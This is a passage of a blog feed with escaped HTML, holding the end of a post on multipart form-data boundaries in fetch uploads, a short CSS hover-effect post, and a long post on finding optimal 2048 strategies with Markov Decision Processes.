&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;delete&lt;/span&gt; options&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;headers&lt;/span&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;Content-Type&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="explanation"&gt;Explanation &lt;a class="anchor-link" href="#explanation"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;What is &lt;code&gt;boundary&lt;/code&gt; and why I had to &lt;code&gt;delete&lt;/code&gt; the header?&lt;/p&gt;
&lt;p&gt;Multipart form allow transfer of binary data,
therefore server needs a way to know where one field&amp;#x27;s data ends and where the next one starts.&lt;/p&gt;
&lt;p&gt;That&amp;#x27;s where &lt;code&gt;boundary&lt;/code&gt; comes in.
It defines a delimiter between fields we are sending in our request (similar to &lt;code&gt;&amp;amp;&lt;/code&gt; for GET requests).
You can define it yourself, but it is much easier to let browser do it for you.&lt;/p&gt;
&lt;p&gt;Example payload:&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;------WebKitFormBoundaryIn312MOjBWdkffIM
&lt;/span&gt;&lt;span class="code-line"&gt;Content-Disposition: form-data&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token assign-left variable"&gt;name&lt;/span&gt;&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token string"&gt;&amp;quot;file&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token assign-left variable"&gt;filename&lt;/span&gt;&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token string"&gt;&amp;quot;my-image.jpg&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;Content-Type: image/jpeg
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;------WebKitFormBoundaryIn312MOjBWdkffIM
&lt;/span&gt;&lt;span class="code-line"&gt;Content-Disposition: form-data&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token assign-left variable"&gt;name&lt;/span&gt;&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token string"&gt;&amp;quot;field&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;imagePortrait
&lt;/span&gt;&lt;span class="code-line"&gt;------WebKitFormBoundaryIn312MOjBWdkffIM--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&amp;#x27;s why I had to manually delete existing header, as it didn&amp;#x27;t contain boundary,
and server was unable to parse the file correctly.&lt;/p&gt;
&lt;p&gt;Read more about it on this &lt;a href="https://stackoverflow.com/questions/3508338/what-is-the-boundary-in-multipart-form-data"&gt;StackOverflow question&lt;/a&gt; and &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition"&gt;MDN&lt;/a&gt;.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 19 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/uploading-files-using-fetch-multipart-form-data/</guid></item><item><title>CSS only elastic hover effect</title><link>https://muffinman.io/blog/elastic-hover-effect/</link><description>&lt;article class="article"&gt;&lt;p&gt;Some CSS fun. Lately I&amp;#x27;ve stumbled upon couple of websites with elastic hover effect on buttons.
Each one was using SVG morphing, which is fine, but I was wondering how hard would it be to implement it in CSS.&lt;/p&gt;
&lt;p&gt;It ended up up being pretty easy.&lt;/p&gt;

&lt;p&gt;I created four
&lt;span class="sidenote__text" tabindex="0"&gt;pseudo elements&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;Only two pseudo elements (&lt;code&gt;::before&lt;/code&gt; and &lt;code&gt;::after&lt;/code&gt;) can be created per element,
therefore each button has one additional div inside it.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.
Each of these is ellipse, running along one edge of the button.
By default these are scaled to zero by relevant axis.
On hover, they scale back to their full size.&lt;/p&gt;
&lt;p&gt;For effect, whole button zoom in a little bit.
Combine all of that with custom elastic bezier easing, and it looks quite convincing.
Wireframe version is included as well, to make it easier to see how it works.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 19 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/elastic-hover-effect/</guid></item><item><title>The Mathematics of 2048: Optimal Play with Markov Decision Processes</title><link>http://jdlm.info/articles/2018/03/18/markov-decision-process-2048.html</link><description>&lt;p&gt;&lt;strong&gt;Updates&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2018-04-10&lt;/strong&gt; This post was &lt;a href="https://news.ycombinator.com/item?id=16790338"&gt;discussed on Hacker News&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;So far in this series on the mathematics of &lt;a href="http://gabrielecirulli.github.io/2048"&gt;2048&lt;/a&gt;, we’ve used Markov chains to learn that &lt;a href="/articles/2017/08/05/markov-chain-2048.html"&gt;it takes at least 938.8 moves&lt;/a&gt; on average to win, and we’ve explored the number of possible board configurations in the game using &lt;a href="/articles/2017/09/17/counting-states-combinatorics-2048.html"&gt;combinatorics&lt;/a&gt; and then &lt;a href="/articles/2017/12/10/counting-states-enumeration-2048.html"&gt;exhaustive enumeration&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In this post, we’ll use a mathematical framework called a Markov Decision Process to find provably optimal strategies for 2048 when played on the 2x2 and 3x3 boards, and also on the 4x4 board up to the &lt;code class="language-plaintext highlighter-rouge"&gt;64&lt;/code&gt; tile. For example, here is an optimal player for the 2x2 game to the &lt;code class="language-plaintext highlighter-rouge"&gt;32&lt;/code&gt; tile:&lt;/p&gt;

&lt;p class="twenty48-policy-player"&gt;Loading&amp;hellip;&lt;/p&gt;

&lt;p&gt;The random seed determines the random sequence of tiles that the game adds to the board. The ‘strategy’ the player follows is defined by a table, called a &lt;em&gt;policy&lt;/em&gt;, that tells it which direction it should swipe in every possible board configuration. In this post, we’ll see how to construct a policy that is optimal, in the sense that it maximizes the player’s chances of reaching the target &lt;code class="language-plaintext highlighter-rouge"&gt;32&lt;/code&gt; tile.&lt;/p&gt;

&lt;p&gt;It turns out that the 2x2 game to the &lt;code class="language-plaintext highlighter-rouge"&gt;32&lt;/code&gt; tile is very hard to win — even when playing optimally, the player only wins about 8% of the time, which probably does not make for a very fun game. The 2x2 games are qualitatively quite different to the 4x4 games, but they’ll still be useful to introduce the key ideas.&lt;/p&gt;

&lt;p&gt;Ideally we’d be able to find an optimal policy for the full game on the 4x4 board to the &lt;code class="language-plaintext highlighter-rouge"&gt;2048&lt;/code&gt; tile, but as we saw in the previous post, the number of possible board configurations is very large. This makes it infeasible to construct a complete optimal policy for the full game, at least with the methods used here.&lt;/p&gt;

&lt;p&gt;We will however be able to find an optimal policy for the shortened 4x4 game to the &lt;code class="language-plaintext highlighter-rouge"&gt;64&lt;/code&gt; tile, and fortunately we’ll see that optimal play on the 3x3 boards looks qualitatively similar, in an admittedly hand-wavy way, to some successful strategies for the full game.&lt;/p&gt;

&lt;p&gt;The (research quality) code behind this article is &lt;a href="https://github.com/jdleesmiller/twenty48"&gt;open source&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="markov-decision-processes-for-2048"&gt;Markov Decision Processes for 2048&lt;/h2&gt;

&lt;p&gt;Markov Decision Processes (&lt;a href="https://en.wikipedia.org/wiki/Markov_decision_process"&gt;MDPs&lt;/a&gt;) are a mathematical framework for modeling and solving problems in which we need to make a sequence of related decisions in the presence of uncertainty. Such problems are all around us, and MDPs find many &lt;a href="http://stats.stackexchange.com/questions/145122/real-life-examples-of-markov-decision-processes"&gt;applications&lt;/a&gt; in &lt;a href="https://en.wikipedia.org/wiki/Decision_theory#Choice_under_uncertainty"&gt;economics&lt;/a&gt;, &lt;a href="https://www.minet.uni-jena.de/Marie-Curie-ITN/SMIF/talks/Baeuerle.pdf"&gt;finance&lt;/a&gt;, and &lt;a href="http://incompleteideas.net/book/the-book.html"&gt;artificial intelligence&lt;/a&gt;. For 2048, the sequence of decisions is the direction to swipe in each turn, and the uncertainty arises because the game adds new tiles to the board at random.&lt;/p&gt;

&lt;p&gt;To set up the game of 2048 as an MDP, we will need to write it down in a specific way. This will involve six main concepts: &lt;em&gt;states&lt;/em&gt;, &lt;em&gt;actions&lt;/em&gt; and &lt;em&gt;transition probabilities&lt;/em&gt; will encode the game’s dynamics; &lt;em&gt;rewards&lt;/em&gt;, &lt;em&gt;values&lt;/em&gt; and &lt;em&gt;policies&lt;/em&gt; will be used to capture what the player is trying to accomplish and how they should do so. To develop these six concepts, we will take as an example the smallest non-trivial 2048-like game, which is played on the 2x2 board only up to the &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile. Let’s start with the first three.&lt;/p&gt;

&lt;h3 id="states-actions-and-transition-probabilities"&gt;States, Actions and Transition Probabilities&lt;/h3&gt;

&lt;p&gt;A &lt;em&gt;state&lt;/em&gt; captures the configuration of the board at a given point in the game by specifying the value of the tile, if any, in each of the board’s cells. For example, &lt;img src="/assets/2048/2x2_s0_1_1_0.svg" style="height: 2em;" /&gt; is a possible state in a game on a 2x2 board. An &lt;em&gt;action&lt;/em&gt; is swiping left, right, up or down. Each time the player takes an action, the process transitions to a new state.&lt;/p&gt;

&lt;p&gt;The &lt;em&gt;transition probabilities&lt;/em&gt; encode the game’s dynamics by determining which states are likely to come next, in view of the current state and the player’s action. Fortunately, we can find out exactly how 2048 works by reading &lt;a href="https://github.com/gabrielecirulli/2048"&gt;its source code&lt;/a&gt;. Most important &lt;sup id="fnref:merging"&gt;&lt;a class="footnote" href="#fn:merging" rel="footnote"&gt;1&lt;/a&gt;&lt;/sup&gt; is the process the game uses to place a random tile on the board, which is always the same: &lt;em&gt;pick an available cell uniformly at random, then add a new tile either with value &lt;code class="language-plaintext highlighter-rouge"&gt;2&lt;/code&gt;, with probability 0.9, or value &lt;code class="language-plaintext highlighter-rouge"&gt;4&lt;/code&gt;, with probability 0.1&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;At the start of each game, two random tiles are added using this process. For example, one of these possible start states is &lt;img alt="- 2 2 -; two 2 tiles on the anti-diagonal" src="/assets/2048/2x2_s0_1_1_0.svg" style="height: 2em;" /&gt;. For each of the possible actions in this state, namely &lt;code class="language-plaintext highlighter-rouge"&gt;L&lt;/code&gt;eft, &lt;code class="language-plaintext highlighter-rouge"&gt;R&lt;/code&gt;right, &lt;code class="language-plaintext highlighter-rouge"&gt;U&lt;/code&gt;p and &lt;code class="language-plaintext highlighter-rouge"&gt;D&lt;/code&gt;own, the possible next states and the corresponding transition probabilities are &lt;sup id="fnref:dot"&gt;&lt;a class="footnote" href="#fn:dot" rel="footnote"&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;

&lt;p align="center"&gt;
&lt;img alt="Actions and transitions from the state - 2 2 -" src="/assets/2048/mdp_s0_1_1_0_with_no_canonicalization.svg" /&gt;
&lt;/p&gt;

&lt;p&gt;In this diagram, there is an arrow for each possible transition to a successor state, on the right hand side. The weight of the arrow and the label indicate the corresponding transition probability. For example, if the player swipes right (&lt;code class="language-plaintext highlighter-rouge"&gt;R&lt;/code&gt;), both &lt;code class="language-plaintext highlighter-rouge"&gt;2&lt;/code&gt; tiles go to the right edge, leaving two available cells on the left. The new tile will be a &lt;code class="language-plaintext highlighter-rouge"&gt;4&lt;/code&gt; with probability 0.1, and it can either go into the top left or the bottom left cell, so the probability of the state &lt;img alt="4 2 - 2" src="/assets/2048/2x2_s2_1_0_1.svg" style="height: 2em;" /&gt; is \(0.1 \times 0.5 = 0.05\).&lt;/p&gt;

&lt;p&gt;From each of those successor states, we can continue this process of enumerating their allowed actions and successor states, recursively. For &lt;img alt="4 2 - 2" src="/assets/2048/2x2_s2_1_0_1.svg" style="height: 2em;" /&gt;, the possible successors are:&lt;/p&gt;

&lt;p align="center"&gt;
&lt;img alt="Actions and transitions from the state 4 2 - 2" src="/assets/2048/mdp_s2_1_0_1_with_no_canonicalization.svg" /&gt;
&lt;/p&gt;

&lt;p&gt;Here swiping right is not allowed, because none of the tiles can move right. Moreover, if the player reaches the successor state &lt;img alt="4 2 2 4" src="/assets/2048/2x2_s2_1_1_2.svg" style="height: 2em;" /&gt;, highlighted in red, they have lost, because there are no allowed actions from that state. This would happen if the player were to swipe left, and the game were to place a &lt;code class="language-plaintext highlighter-rouge"&gt;4&lt;/code&gt; tile, which it would do with probability 0.1; this suggests that swiping left may not be the best action in this state.&lt;/p&gt;

&lt;p&gt;For one final example, if the player moves up instead of left, one of the possible successor states is &lt;img alt="4 4 2 -" src="/assets/2048/2x2_s2_2_1_0.svg" style="height: 2em;" /&gt;, and if we enumerate the allowed actions and and successor states from that state, we can see that swiping left or right will then result in an &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile, which means the game is won (highlighted in green):&lt;/p&gt;

&lt;p align="center"&gt;
&lt;img alt="Actions and transitions from the state 4 4 2 -" src="/assets/2048/mdp_s2_2_1_0_with_no_canonicalization.svg" /&gt;
&lt;/p&gt;

&lt;p&gt;If we repeat this process for all of the possible start states, and all of their possible successor states, and so on recursively until win or lose states are reached, we can build up a full model with all of the possible states, actions and their transition probabilities. For the 2x2 game to the &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile, that model looks like this (&lt;a href="/assets/2048/mdp_2x2_3_with_no_canonicalization.svg"&gt;click to enlarge&lt;/a&gt;; you may then need to scroll down):&lt;/p&gt;

&lt;p align="center"&gt;
&lt;a href="/assets/2048/mdp_2x2_3_with_no_canonicalization.svg"&gt;&lt;img alt="Full MDP model for the 2x2 game to the 8 tile without canonicalization techniques from Appendix A" id="mdp_2x2_3_with_no_canonicalization" src="/assets/2048/mdp_2x2_3_with_no_canonicalization.svg" /&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;To make the diagram smaller, all of the losing states have been collapsed into a single &lt;code class="language-plaintext highlighter-rouge"&gt;lose&lt;/code&gt; state, shown as a red oval, and all of the winning states have been similarly collapsed into a single &lt;code class="language-plaintext highlighter-rouge"&gt;win&lt;/code&gt; state, shown as a green star. This is because we don’t particularly care how the player won or lost, only that they did.&lt;/p&gt;

&lt;p&gt;Play proceeds roughly from left to right in the diagram, because the states have been organized into ‘layers’ by the sum of their tiles. A useful property of the game is that after each action the sum of the tiles on the board increases by either 2 or 4. This is because merging tiles does not change the sum of the tiles on the board, and the game always adds either a &lt;code class="language-plaintext highlighter-rouge"&gt;2&lt;/code&gt; tile or a &lt;code class="language-plaintext highlighter-rouge"&gt;4&lt;/code&gt; tile. The possible start states, which are in the layers with sum 4, 6 and 8, are drawn in blue.&lt;/p&gt;

&lt;p&gt;Even for this smallest example, there are 70 states and 530 transitions in the model. It is possible significantly reduce those numbers, however, by observing that many of the states we’ve enumerated above are trivially related by rotations and reflections, as described in &lt;a href="#appendix-a-canonicalization"&gt;Appendix A&lt;/a&gt;. This observation is important in practice for reducing the size of the models so that they can be solved efficiently, and it makes for more legible diagrams, but it is not essential for us to move on to our second set of MDP concepts.&lt;/p&gt;

&lt;h3 id="rewards-values-and-policies"&gt;Rewards, Values and Policies&lt;/h3&gt;

&lt;p&gt;To complete our specification of the model, we need to somehow encode the fact that the player’s objective is to reach the &lt;code class="language-plaintext highlighter-rouge"&gt;win&lt;/code&gt; state &lt;sup id="fnref:objectives"&gt;&lt;a class="footnote" href="#fn:objectives" rel="footnote"&gt;3&lt;/a&gt;&lt;/sup&gt;. We do this by defining &lt;em&gt;rewards&lt;/em&gt;. In general, each time an MDP enters a state, the player receives a reward that depends on the state. Here we’ll set the reward for entering the &lt;code class="language-plaintext highlighter-rouge"&gt;win&lt;/code&gt; state to 1, and the reward for entering all other states to 0. That is, the one and only way to earn a reward is to reach the win state. &lt;sup id="fnref:absorbing"&gt;&lt;a class="footnote" href="#fn:absorbing" rel="footnote"&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;Now that we have an MDP model of the game in terms of states, actions, transition probabilities and rewards, we are ready to solve it. A solution for an MDP is called a &lt;em&gt;policy&lt;/em&gt;. It is basically a table that lists for every possible state which action to take in that state. To solve an MDP is to find an &lt;em&gt;optimal policy&lt;/em&gt;, which is one that allows the player to collect as much reward as possible over time.&lt;/p&gt;

&lt;p&gt;To make this precise, we will need our final MDP concept: the &lt;em&gt;value&lt;/em&gt; of a state according to a given policy is the expected, discounted reward the player will collect if they start from that state and follow the policy thereafter. To explain what that means will require some notation.&lt;/p&gt;

&lt;p&gt;Let \(S\) be the set of states, and for each state \(s \in S\), let \(A_s\) be the set of actions that are allowed in state \(s\). Let \(\Pr(s’ | s, a)\) denote the probability of transitioning to each successor state \(s’ \in S\), given that the process is in state \(s \in S\) and the player takes action \(a \in A_s\). Let \(R(s)\) denote the reward for entering state \(s\). Finally, let \(\pi\) denote a policy and \(\pi(s) \in A_s\) denote the action to take in state \(s\) when following policy \(\pi\).&lt;/p&gt;

&lt;p&gt;For a given policy \(\pi\) and state \(s\), the value of state \(s\) according to \(\pi\) is
\[
V^\pi(s) = R(s) + \gamma \sum_{s’} \Pr(s’ | s, \pi(s)) V^\pi(s’)
\]
where the first term is the immediate reward, and the summation gives the expected value of the successor states, assuming the player continues to follow the policy.&lt;/p&gt;

&lt;p&gt;The factor \(\gamma\) is a &lt;em&gt;discount factor&lt;/em&gt; that trades off the value of the immediate reward against the value of the expected future rewards. In other words, it accounts for &lt;a href="https://en.wikipedia.org/wiki/Time_value_of_money"&gt;the time value of money&lt;/a&gt;: a reward now is typically worth more than the same reward later. If \(\gamma\) is close to 1, it means that the player is very patient: they don’t mind waiting for future rewards; likewise, smaller values of \(\gamma\) mean that the player is less patient. For now, we’ll set the discount factor \(\gamma\) to 1, which matches our assumption that the player cares only about winning, not about how long it takes to win &lt;sup id="fnref:discounting"&gt;&lt;a class="footnote" href="#fn:discounting" rel="footnote"&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;So, how do we find the policy? For each state, we want to choose the action that maximizes the expected future value:&lt;/p&gt;

&lt;p&gt;\[
\pi(s) = \mathop{\mathrm{argmax}}\limits_{a \in A_s} \left\{
\sum_{s’} \Pr(s’ | s, a) V^\pi(s’)
\right\}
\]&lt;/p&gt;

&lt;p&gt;So, this gives us two linked equations, and we can solve them iteratively. That is, pick an initial policy, which might be very simple, compute the value of every state under that simple policy, and then find a new policy based on that value function, and so on. Perhaps remarkably, under very modest technical conditions, such an iterative process is guaranteed to converge to an optimal policy, \(\pi^*\), and an optimal value function \(V^{\pi^*}\) with respect to that optimal policy.&lt;/p&gt;

&lt;p&gt;This standard iterative approach works well for the MDP models for games on the 2x2 board, but it breaks down for the 3x3 and 4x4 game models, which have many more states and therefore take much more memory and compute power. Fortunately, it turns out that we can exploit the particular structure of our 2048 models to solve these equations much more efficiently, as described in &lt;a href="#appendix-b-solution-methods"&gt;Appendix B&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="optimal-play-on-the-2x2-board"&gt;Optimal Play on the 2x2 Board&lt;/h2&gt;

&lt;p&gt;We’re now ready to see some optimal policies in action! If you leave the random seed at &lt;code class="language-plaintext highlighter-rouge"&gt;42&lt;/code&gt; and press the &lt;code class="language-plaintext highlighter-rouge"&gt;Start&lt;/code&gt; button below, you’ll see it reach the &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile in 5 moves. The random seed determines the sequence of new tiles that the game will place; if you choose a different random seed by clicking the &lt;code class="language-plaintext highlighter-rouge"&gt;⟲&lt;/code&gt; button, you will (usually) see a different game unfold.&lt;/p&gt;

&lt;p class="twenty48-policy-player"&gt;Loading&amp;hellip;&lt;/p&gt;

&lt;p&gt;For the 2x2 game to the &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile, there is not actually much to see. If the player follows the optimal policy, they will always win. (As we saw above, when building the transition probabilities, if the player does not play optimally, it is possible to lose.) This is reflected in the fact that the value of the state remains at 1.00 for the whole game — when playing optimally, there is at least one action in every reachable state that leads to a win.&lt;/p&gt;

&lt;p&gt;If we instead ask the player to play to the &lt;code class="language-plaintext highlighter-rouge"&gt;16&lt;/code&gt; tile, a win is no longer assured even when playing optimally. In this case, picking a new random seed should lead to a win 96% of the time for the game to the &lt;code class="language-plaintext highlighter-rouge"&gt;16&lt;/code&gt; tile, so I’ve set the initial seed to one of the rare seeds that leads to a loss.&lt;/p&gt;

&lt;p class="twenty48-policy-player"&gt;Loading&amp;hellip;&lt;/p&gt;

&lt;p&gt;As a result of setting the discount factor, \(\gamma\), to 1, the value of each state also conveniently tells us the probability of winning from that state. Here the value starts at 0.96 and then eventually drops to 0.90, because the outcome hinges on the next tile being a &lt;code class="language-plaintext highlighter-rouge"&gt;2&lt;/code&gt; tile. Unfortunately, the game delivers a &lt;code class="language-plaintext highlighter-rouge"&gt;4&lt;/code&gt; tile, so the player loses, despite playing optimally.&lt;/p&gt;

&lt;p&gt;Finally, we’ve &lt;a href="/articles/2017/09/17/counting-states-combinatorics-2048.html#layer-reachability"&gt;previously established&lt;/a&gt; that the largest reachable tile on the 2x2 board is the &lt;code class="language-plaintext highlighter-rouge"&gt;32&lt;/code&gt; tile, so let’s see the corresponding optimal policy. Here the probability of winning drops to only 8%. (This is the same game and the same policy used in the introduction, but now it’s interactive.)&lt;/p&gt;

&lt;p class="twenty48-policy-player"&gt;Loading&amp;hellip;&lt;/p&gt;

&lt;p&gt;It’s worth remarking that each of the policies above is &lt;em&gt;an&lt;/em&gt; optimal policy for the corresponding game, but there is no guarantee of uniqueness. There may be many optimal policies that are equivalent, but we can say with certainty that none of them are strictly better.&lt;/p&gt;

&lt;p&gt;If you’d like to explore these models for the 2x2 game in more depth, &lt;a href="#appendix-a-canonicalization"&gt;Appendix A&lt;/a&gt; provides some diagrams that show all the possible paths through the game.&lt;/p&gt;

&lt;h1 id="optimal-play-on-the-3x3-board"&gt;Optimal Play on the 3x3 Board&lt;/h1&gt;

&lt;p&gt;On the 3x3 board, it is possible to play up to the &lt;code class="language-plaintext highlighter-rouge"&gt;1024&lt;/code&gt; tile, and that game has some &lt;a href="/articles/2017/12/10/counting-states-enumeration-2048.html#results"&gt;25 million states&lt;/a&gt;. Drawing an MDP diagram like we did for the 2x2 games is therefore clearly out of the question, but we can still watch an optimal policy in action &lt;sup id="fnref:missing"&gt;&lt;a class="footnote" href="#fn:missing" rel="footnote"&gt;6&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;

&lt;p class="twenty48-policy-player"&gt;Loading&amp;hellip;&lt;/p&gt;

&lt;p&gt;Much like the 2x2 game to &lt;code class="language-plaintext highlighter-rouge"&gt;32&lt;/code&gt;, the 3x3 game to &lt;code class="language-plaintext highlighter-rouge"&gt;1024&lt;/code&gt; is very hard to win — if playing optimally, the probability of winning is only about 1%. For some less frustrating entertainment, here also is the game to &lt;code class="language-plaintext highlighter-rouge"&gt;512&lt;/code&gt;, for which the probability of winning if playing optimally is much higher, at about 74%:&lt;/p&gt;

&lt;p class="twenty48-policy-player"&gt;Loading&amp;hellip;&lt;/p&gt;

&lt;p&gt;At the risk of anthropomorphizing a large table of states and actions, which is what a policy is, I see here elements of strategies that I use when I play 2048 on the 4x4 board &lt;sup id="fnref:me"&gt;&lt;a class="footnote" href="#fn:me" rel="footnote"&gt;7&lt;/a&gt;&lt;/sup&gt;. We can see the policy pinning the high value tiles to the edges and usually corners (though in the game to &lt;code class="language-plaintext highlighter-rouge"&gt;1024&lt;/code&gt;, it often puts the &lt;code class="language-plaintext highlighter-rouge"&gt;512&lt;/code&gt; tile in the middle of an edge). We can also see it being ‘lazy’ — even when it has two high value tiles lined up to merge, it will continue merging lower value tiles. Particularly within the tight constraints of the 3x3 board, it makes sense that it will take the opportunity to &lt;a href="/articles/2017/08/05/markov-chain-2048.html#binomial-probabilities"&gt;increase the sum of its tiles&lt;/a&gt; at no risk of (immediately) losing — if it gets stuck merging smaller tiles, it can always merge the larger ones, which opens up the board.&lt;/p&gt;

&lt;p&gt;It’s important to note that we did not teach the policy about these strategies or give it any other hints about how to play. All of its behaviors and any apparent intelligence emerges solely from solving an optimization problem with respect to the transition probabilities and reward function we supplied.&lt;/p&gt;

&lt;h1 id="optimal-play-on-the-4x4-board"&gt;Optimal Play on the 4x4 Board&lt;/h1&gt;

&lt;p&gt;As established in the last post, the game to the &lt;code class="language-plaintext highlighter-rouge"&gt;2048&lt;/code&gt; tile on the 4x4 board has at least trillions of states, and so far it has not been possible to even enumerate all the states, let alone solve the resulting MDP for an optimal policy.&lt;/p&gt;

&lt;p&gt;We can, however, complete the enumeration and the solve for the 4x4 game up to the &lt;code class="language-plaintext highlighter-rouge"&gt;64&lt;/code&gt; tile — that model has “only” about 40 billion states. Like the 2x2 game to &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; above, it is impossible to lose when playing optimally. This does not make for very interesting viewing, because in many cases there are several good actions, and the choice between them is arbitrary.&lt;/p&gt;

&lt;p&gt;However, if we reduce the discount factor, \(\gamma\), that makes the player slightly impatient, so that they prefer to win sooner rather than later. It then looks a bit more directed. Here is an optimal player for \(\gamma = 0.99\):&lt;/p&gt;

&lt;p class="twenty48-policy-player"&gt;Loading&amp;hellip;&lt;/p&gt;

&lt;p&gt;The value starts around 0.72; the exact initial value reflects the expected number of moves it will take to win from the randomly selected start state. It gradually increases with each move, as the reward for reaching the win state gets closer. Again the policy shows good use of the edges and corners to build sequences of tiles in an order that’s convenient to merge.&lt;/p&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We’ve seen how to represent the game of 2048 as a Markov Decision Process and obtained provably optimal policies for the smaller games on the 2x2 and 3x3 boards and a partial game on the 4x4 board.&lt;/p&gt;

&lt;p&gt;The methods used here require us to enumerate all of the states in the model in order to solve it. Using &lt;a href="/articles/2017/12/10/counting-states-enumeration-2048.html"&gt;efficient strategies for enumerating the states&lt;/a&gt; and &lt;a href="#appendix-b-solution-methods"&gt;efficient strategies for solving the model&lt;/a&gt; makes this feasible for models with up to 40 billion states, which was the number for the 4x4 game to &lt;code class="language-plaintext highlighter-rouge"&gt;64&lt;/code&gt;. The calculations for that model took roughly one week on an OVH HG-120 instance with 32 cores at 3.1GHz and 120GB RAM. The next-largest 4x4 game, played up to the &lt;code class="language-plaintext highlighter-rouge"&gt;128&lt;/code&gt; tile, is likely to contain many times that number of states and would require many times the computing power. Calculating a provably optimal policy for the full game to the &lt;code class="language-plaintext highlighter-rouge"&gt;2048&lt;/code&gt; tile will likely require different methods.&lt;/p&gt;

&lt;p&gt;It is common to find that MDPs are too large to solve in practice, so there are a range of proven techniques for finding approximate solutions. These typically involve storing the value function and/or policy approximately, for example by training a (possibly deep) neural network. They can also be trained on simulation data, rather than requiring enumeration of the full state space, using reinforcement learning methods. The availability of provably optimal policies for smaller games may make 2048 a useful test bed for such methods — that would be an interesting future research topic.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2 id="appendix-a-canonicalization"&gt;Appendix A: Canonicalization&lt;/h2&gt;

&lt;p&gt;As we’ve seen with the full model for the 2x2 game to the &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile, the number of states and transitions grows quickly, and even games on the 2x2 board become hard to draw in this form.&lt;/p&gt;

&lt;p&gt;To help keep the size of the model under control, we can reuse an observation from the &lt;a href="/articles/2017/12/10/counting-states-enumeration-2048.html#canonicalization-and-symmetry"&gt;previous post about enumerating states&lt;/a&gt;: many of the successor states are just rotations or reflections of each other. For example, the states&lt;/p&gt;

&lt;p align="center"&gt;
  &lt;img alt="4 2 - 2" src="/assets/2048/2x2_s2_1_0_1.svg" /&gt;
  and
  &lt;img alt="2 4 2 -" src="/assets/2048/2x2_s1_2_1_0.svg" /&gt;
&lt;/p&gt;
&lt;p&gt;are just mirror images — they are reflections through the vertical axis. If the best action in the first state was to swipe left, the best action in the second state would necessarily be to swipe right. So, from the perspective of deciding which action to take, it suffices to pick one of the states as the &lt;em&gt;canonical state&lt;/em&gt; and determine the best action to take from the canonical state. A state’s canonical state is obtained by finding all of its possible rotations and reflections, writing each one as a number in base 12, and picking the state with the smallest number — see the &lt;a href="/articles/2017/12/10/counting-states-enumeration-2048.html#canonicalization-and-symmetry"&gt;previous post&lt;/a&gt; for the details. The important point here is that each canonical state stands in for a class of equivalent states that are related to it by rotation and reflection, so we don’t have to deal with them all individually. By replacing the successor states above with their canonical states, we obtain a much more compact diagram:&lt;/p&gt;

&lt;p align="center"&gt;
&lt;img alt="Actions and transitions from the state - 2 2 - with successor state canonicalization" src="/assets/2048/mdp_s0_1_1_0_with_state_canonicalization.svg" /&gt;
&lt;/p&gt;

